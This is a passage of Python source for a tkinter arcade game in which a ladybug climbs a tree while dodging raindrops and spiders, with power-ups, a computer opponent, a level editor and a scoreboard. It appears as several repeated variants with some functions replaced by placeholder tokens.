data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, 